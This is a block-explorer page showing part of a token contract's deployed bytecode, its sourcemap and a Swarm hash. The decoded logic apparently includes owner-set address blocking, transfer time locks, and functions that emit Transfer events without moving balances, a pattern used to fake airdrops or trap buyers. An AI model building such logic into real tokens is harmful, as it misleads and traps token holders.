ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127de82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461304a90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061282c338484613068565b6001905092915050565b60008160088190555060019050919050565b6000811515600260159054906101000a900460ff1615151415151561286c57600080fd5b81600260156101000a81548160ff02191690831515021790555060019050919050565b6000811515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156128f057600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d83604051808215151515815260200191505060405180910390a26001905092915050565b6000612a3482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461304a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600090505b8351811015612d065782600460008684815181101515612c3557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508381815181101515612c9e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d84604051808215151515815260200191505060405180910390a28080600101915050612c19565b600191505092915050565b60008173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612d7057600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612e5e5750600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561302d5760001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612ec257600080fd5b60001515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612f2157600080fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612f8057600080fd5b60001515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806130215750600854600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b151561302c57600080fd5b5b5050565b600082821115151561303f57fe5b818303905092915050565b600080828401905083811015151561305e57fe5b8091505092915050565b600260159054906101000a900460ff16156130b0576130aa600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383612b9f565b506130bd565b6130bb838383612b9f565b505b5050505600a165627a7a72305820c7203a32e4b40b3091a23a0f7ba8fee866bd7a21567326bcd5823ae1b08928270029

Deployed Bytecode Sourcemap

11444:1652:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10906:167;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10906:167:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11483:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11483:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;11483:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10736:164;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10736:164:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9436:131;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9436:131:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1889:26;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1889:26:0;;;;;;;;;;;;;;;;;;;;;;;9275:153;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9275:153:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11535:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11535:20:0;;;;;;;;;;;;;;;;;;;;;;;9747:174;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9747:174:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10079:111;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10079:111:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4183:115;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4183:115:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1499:87;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1499:87:0;;;;;;1264:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1264:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;11258:177;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11258:177:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11508:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11508:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;11508:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12878:213;;8:9:-1;5:2;;;30:1;27;20:12;5:2;12878:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9144:123;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9144:123:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10198:115;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10198:115:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2594:17;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2594:17:0;;;;;;;;;;;;;;;;;;;;;;;;;;;10321:114;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10321:114:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10565:165;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10565:165:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12191:679;;8:9:-1;5:2;;;30:1;27;20:12;5:2;12191:679:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9575:164;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9575:164:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5996:134;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5996:134:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9927:144;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9927:144:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11079:173;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11079:173:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10443:114;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10443:114:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10906:167;10988:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;11020:45;11037:11;11050:14;11020:16;:45::i;:::-;11013:52;;10906:167;;;;:::o;11483:18::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;10736:164::-;10817:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;10849:43;10865:11;10878:13;10849:15;:43::i;:::-;10842:50;;10736:164;;;;:::o;9436:131::-;9504:4;9528:31;9542:8;9552:6;9528:13;:31::i;:::-;9521:38;;9436:131;;;;:::o;1889:26::-;;;;:::o;9275:153::-;9358:4;9382:38;9401:5;9408:3;9413:6;9382:18;:38::i;:::-;9375:45;;9275:153;;;;;:::o;11535:20::-;;;;:::o;9747:174::-;9831:12;9863:50;9886:8;9896:16;9863:22;:50::i;:::-;9856:57;;9747:174;;;;:::o;10079:111::-;10130:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;10162:20;10178:3;10162:15;:20::i;:::-;10155:27;;10079:111;;;:::o;4183:115::-;4239:15;4274:8;:16;4283:6;4274:16;;;;;;;;;;;;;;;;4267:23;;4183:115;;;:::o;1499:87::-;1465:5;;;;;;;;;;;1451:19;;:10;:19;;;1443:28;;;;;;;;1557:21;1575:1;1557:9;:21::i;:::-;1499:87::o;1264:20::-;;;;;;;;;;;;;:::o;11258:177::-;11345:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;11377:50;11400:11;11413:13;11377:22;:50::i;:::-;11370:57;;11258:177;;;;:::o;11508:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12878:213::-;12962:9;12974:1;12962:13;;12957:127;12981:10;;:17;;12977:1;:21;12957:127;;;13057:4;13025:47;;13034:10;;13045:1;13034:13;;;;;;;;;;;;;;;;;13025:47;;;13064:7;13025:47;;;;;;;;;;;;;;;;;;13000:3;;;;;;;12957:127;;;12878:213;;;;:::o;9144:123::-;9208:4;9232:27;9247:3;9252:6;9232:14;:27::i;:::-;9225:34;;9144:123;;;;:::o;10198:115::-;10249:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;10281:24;10301:3;10281:19;:24::i;:::-;10274:31;;10198:115;;;:::o;2594:17::-;;;;;;;;;;;;;:::o;10321:114::-;10375:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;10407:20;10423:3;10407:15;:20::i;:::-;10400:27;;10321:114;;;:::o;10565:165::-;10646:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;10678:44;10695:11;10708:13;10678:16;:44::i;:::-;10671:51;;10565:165;;;;:::o;12191:679::-;12381:4;12403:9;12415:1;12403:13;;12398:443;12422:10;:17;12418:1;:21;12398:443;;;12479:10;12490:1;12479:13;;;;;;;;;;;;;;;;;;12466:44;;12475:2;;;;;;;;;;;12466:44;;;12494:12;12507:1;12494:15;;;;;;;;;;;;;;;;;;12466:44;;;;;;;;;;;;;;;;;;12721:10;12732:1;12721:13;;;;;;;;;;;;;;;;;;12530:219;;12553:42;12530:219;12614:12;12627:1;12614:15;;;;;;;;;;;;;;;;;;12648:1;12668;12688:11;12700:1;12688:14;;;;;;;;;;;;;;;;;;12530:219;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12771:12;12764:30;;;12795:10;12806:1;12795:13;;;;;;;;;;;;;;;;;;12810:2;;;;;;;;;;;12814:11;12826:1;12814:14;;;;;;;;;;;;;;;;;;12764:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;12764:65:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;12764:65:0;;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;12764:65:0;;;;;;;;;;;;;;;;;12441:3;;;;;;;12398:443;;;12858:4;12851:11;;12191:679;;;;;;;:::o;9575:164::-;9654:12;9686:45;9709:8;9719:11;9686:22;:45::i;:::-;9679:52;;9575:164;;;;:::o;5996:134::-;6070:7;6097;:15;6105:6;6097:15;;;;;;;;;;;;;;;:25;6113:8;6097:25;;;;;;;;;;;;;;;;6090:32;;5996:134;;;;:::o;9927:144::-;10003:4;10026:37;10046:5;10052:3;10056:6;10026:19;:37::i;:::-;10019:44;;9927:144;;;;;:::o;11079:173::-;11161:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;11193:51;11217:11;11230:13;11193:23;:51::i;:::-;11186:58;;11079:173;;;;:::o;10443:114::-;10497:12;1646:3;;;;;;;;;;;1632:17;;:10;:17;;;1624:26;;;;;;;;10529:20;10545:3;10529:15;:20::i;:::-;10522:27;;10443:114;;;:::o;8155:278::-;8232:4;8285:14;8257:42;;:14;:24;8272:8;8257:24;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;8249:51;;;;;;;;8338:14;8311;:24;8326:8;8311:24;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;8378:8;8368:35;;;8388:14;8368:35;;;;;;;;;;;;;;;;;;;;;;8421:4;8414:11;;8155:278;;;;:::o;7879:270::-;7954:4;8006:13;7979:40;;:13;:23;7993:8;7979:23;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;7971:49;;;;;;;;8057:13;8031;:23;8045:8;8031:23;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;8095:8;8086:33;;;8105:13;8086:33;;;;;;;;;;;;;;;;;;;;;;8137:4;8130:11;;7879:270;;;;:::o;5780:206::-;5847:4;5896:6;5864:7;:19;5872:10;5864:19;;;;;;;;;;;;;;;:29;5884:8;5864:29;;;;;;;;;;;;;;;:38;;;;5939:8;5918:38;;5927:10;5918:38;;;5949:6;5918:38;;;;;;;;;;;;;;;;;;5974:4;5967:11;;5780:206;;;;:::o;4306:833::-;4388:4;4405:24;4419:5;4425:3;4405:13;:24::i;:::-;4445:2;;;;;;;;;;;:24;;;;;4450:14;:19;4465:3;4450:19;;;;;;;;;;;;;;;;;;;;;;;;;4449:20;4445:24;:33;;;;;4476:2;;;;;;;;;;;4471:7;;:3;:7;;;;4445:33;4442:217;;;4515:4;4494:13;:18;4508:3;4494:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;4548:3;4539:19;;;4553:4;4539:19;;;;;;;;;;;;;;;;;;;;;;4588:1;4576:5;:10;4582:3;4576:10;;;;;;;;;;;;;;;;:13;4573:75;;;4620:12;4609:5;:10;4615:3;4609:10;;;;;;;;;;;;;;;:23;;;;4573:75;4442:217;4684:5;4677:12;;:3;:12;;;;4669:21;;;;;;;;4724:1;4709:17;;:3;:17;;;;4701:26;;;;;;;;4756:8;:15;4765:5;4756:15;;;;;;;;;;;;;;;;4746:6;:25;;4738:34;;;;;;;;4801:7;:14;4809:5;4801:14;;;;;;;;;;;;;;;:26;4816:10;4801:26;;;;;;;;;;;;;;;;4791:6;:36;;4783:45;;;;;;;;4857:27;4877:6;4857:8;:15;4866:5;4857:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;4839:8;:15;4848:5;4839:15;;;;;;;;;;;;;;;:45;;;;4915:25;4933:6;4915:8;:13;4924:3;4915:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;4899:8;:13;4908:3;4899:13;;;;;;;;;;;;;;;:41;;;;4980:38;5011:6;4980:7;:14;4988:5;4980:14;;;;;;;;;;;;;;;:26;4995:10;4980:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;4951:7;:14;4959:5;4951:14;;;;;;;;;;;;;;;:26;4966:10;4951:26;;;;;;;;;;;;;;;:67;;;;5029:33;5043:5;5050:3;5055:6;5029:13;:33::i;:::-;5127:4;5120:11;;4306:833;;;;;:::o;6428:450::-;6511:4;6528:13;6544:7;:19;6552:10;6544:19;;;;;;;;;;;;;;;:29;6564:8;6544:29;;;;;;;;;;;;;;;;6528:45;;6607:8;6588:16;:27;6584:188;;;6664:1;6632:7;:19;6640:10;6632:19;;;;;;;;;;;;;;;:29;6652:8;6632:29;;;;;;;;;;;;;;;:33;;;;6584:188;;;6730:30;6743:16;6730:8;:12;;:30;;;;:::i;:::-;6698:7;:19;6706:10;6698:19;;;;;;;;;;;;;;;:29;6718:8;6698:29;;;;;;;;;;;;;;;:62;;;;6584:188;6808:8;6787:61;;6796:10;6787:61;;;6818:7;:19;6826:10;6818:19;;;;;;;;;;;;;;;:29;6838:8;6818:29;;;;;;;;;;;;;;;;6787:61;;;;;;;;;;;;;;;;;;6866:4;6859:11;;6428:450;;;;;:::o;7056:129::-;7103:4;7134:3;7128:9;;:2;;;;;;;;;;;:9;;;;7120:18;;;;;;;;7152:3;7149:2;;:6;;;;;;;;;;;;;;;;;;7173:4;7166:11;;7056:129;;;:::o;1678:171::-;1734:16;1753:5;;;;;;;;;;;1734:24;;1777:8;1769:5;;:16;;;;;;;;;;;;;;;;;;1832:8;1801:40;;1822:8;1801:40;;;;;;;;;;;;1678:171;;:::o;8763:312::-;8851:4;8872:6;8881:1;8872:10;;8868:178;8888:12;:19;8884:1;:23;8868:178;;;8961:13;8928;:30;8942:12;8955:1;8942:15;;;;;;;;;;;;;;;;;;8928:30;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;9003:12;9016:1;9003:15;;;;;;;;;;;;;;;;;;8994:40;;;9020:13;8994:40;;;;;;;;;;;;;;;;;;;;;;8909:3;;;;;;;8868:178;;;9063:4;9056:11;;8763:312;;;;;:::o;3394:779::-;3457:4;3474:29;3488:10;3499:3;3474:13;:29::i;:::-;3517:2;;;;;;;;;;;:24;;;;;3522:14;:19;3537:3;3522:19;;;;;;;;;;;;;;;;;;;;;;;;;3521:20;3517:24;:33;;;;;3548:2;;;;;;;;;;;3543:7;;:3;:7;;;;3517:33;3514:217;;;3587:4;3566:13;:18;3580:3;3566:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;3620:3;3611:19;;;3625:4;3611:19;;;;;;;;;;;;;;;;;;;;;;3660:1;3648:5;:10;3654:3;3648:10;;;;;;;;;;;;;;;;:13;3645:75;;;3692:12;3681:5;:10;3687:3;3681:10;;;;;;;;;;;;;;;:23;;;;3645:75;3514:217;3766:1;3751:17;;:3;:17;;;;3743:26;;;;;;;;3795:10;3788:17;;:3;:17;;;;3780:26;;;;;;;;3835:8;:20;3844:10;3835:20;;;;;;;;;;;;;;;;3825:6;:30;;3817:39;;;;;;;;3890:32;3915:6;3890:8;:20;3899:10;3890:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;3867:8;:20;3876:10;3867:20;;;;;;;;;;;;;;;:55;;;;4017:25;4035:6;4017:8;:13;4026:3;4017:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;4001:8;:13;4010:3;4001:13;;;;;;;;;;;;;;;:41;;;;4053:38;4067:10;4079:3;4084:6;4053:13;:38::i;:::-;4161:4;4154:11;;3394:779;;;;:::o;7193:119::-;7251:4;7275:7;7268:6;:14;;;;7300:4;7293:11;;7193:119;;;:::o;7320:127::-;7367:4;7396:3;7392:7;;:2;;;;;;;;;;;:7;;;;7384:16;;;;;;;;7414:3;7411:2;;:6;;;;;;;;;;;;;;;;;;7435:4;7428:11;;7320:127;;;:::o;7593:278::-;7670:4;7723:14;7695:42;;:14;:24;7710:8;7695:24;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;7687:51;;;;;;;;7776:14;7749;:24;7764:8;7749:24;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;7816:8;7806:35;;;7826:14;7806:35;;;;;;;;;;;;;;;;;;;;;;7859:4;7852:11;;7593:278;;;;:::o;6140:280::-;6218:4;6267:46;6301:11;6267:7;:19;6275:10;6267:19;;;;;;;;;;;;;;;:29;6287:8;6267:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;6235:7;:19;6243:10;6235:19;;;;;;;;;;;;;;;:29;6255:8;6235:29;;;;;;;;;;;;;;;:78;;;;6350:8;6329:61;;6338:10;6329:61;;;6360:7;:19;6368:10;6360:19;;;;;;;;;;;;;;;:29;6380:8;6360:29;;;;;;;;;;;;;;;;6329:61;;;;;;;;;;;;;;;;;;6408:4;6401:11;;6140:280;;;;:::o;6886:162::-;6968:4;7006:3;6990:28;;6999:5;6990:28;;;7011:6;6990:28;;;;;;;;;;;;;;;;;;7036:4;7029:11;;6886:162;;;;;:::o;8439:318::-;8529:4;8550:6;8559:1;8550:10;;8546:182;8566:12;:19;8562:1;:23;8546:182;;;8640:14;8606;:31;8621:12;8634:1;8621:15;;;;;;;;;;;;;;;;;;8606:31;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;8684:12;8697:1;8684:15;;;;;;;;;;;;;;;;;;8674:42;;;8701:14;8674:42;;;;;;;;;;;;;;;;;;;;;;8587:3;;;;;;;8546:182;;;8745:4;8738:11;;8439:318;;;;;:::o;7455:130::-;7505:4;7534:3;7530:7;;:2;;;;;;;;;;;:7;;;;7522:16;;;;;;;;7552:3;7549:2;;:6;;;;;;;;;;;;;;;;;;7573:4;7566:11;;7455:130;;;:::o;5147:390::-;5222:14;:21;5237:5;5222:21;;;;;;;;;;;;;;;;;;;;;;;;;5221:22;:44;;;;;5246:14;:19;5261:3;5246:19;;;;;;;;;;;;;;;;;;;;;;;;;5245:20;5221:44;5218:312;;;5314:5;5289:30;;:14;:21;5304:5;5289:21;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;5281:39;;;;;;;;5366:5;5343:28;;:14;:19;5358:3;5343:19;;;;;;;;;;;;;;;;;;;;;;;;;:28;;;5335:37;;;;;;;;5425:5;5395:35;;:14;:26;5410:10;5395:26;;;;;;;;;;;;;;;;;;;;;;;;;:35;;;5387:44;;;;;;;;5478:5;5454:29;;:13;:20;5468:5;5454:20;;;;;;;;;;;;;;;;;;;;;;;;;:29;;;:63;;;;5511:6;;5498:5;:12;5504:5;5498:12;;;;;;;;;;;;;;;;:19;5485:12;:32;5454:63;5446:72;;;;;;;;5218:312;5147:390;;:::o;712:123::-;770:7;802:1;797;:6;;790:14;;;;;;826:1;822;:5;815:12;;712:123;;;;:::o;843:147::-;901:7;921:9;937:1;933;:5;921:17;;961:1;956;:6;;949:14;;;;;;981:1;974:8;;843:147;;;;;:::o;5545:225::-;5634:2;;;;;;;;;;;5631:132;;;5652:35;5666:7;;;;;;;;;;;5675:3;5680:6;5652:13;:35::i;:::-;;5631:132;;;5718:33;5732:5;5739:3;5744:6;5718:13;:33::i;:::-;;5631:132;5545:225;;;:::o

Swarm Source

bzzr://c7203a32e4b40b3091a23a0f7ba8fee866bd7a21567326bcd5823ae1b0892827
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.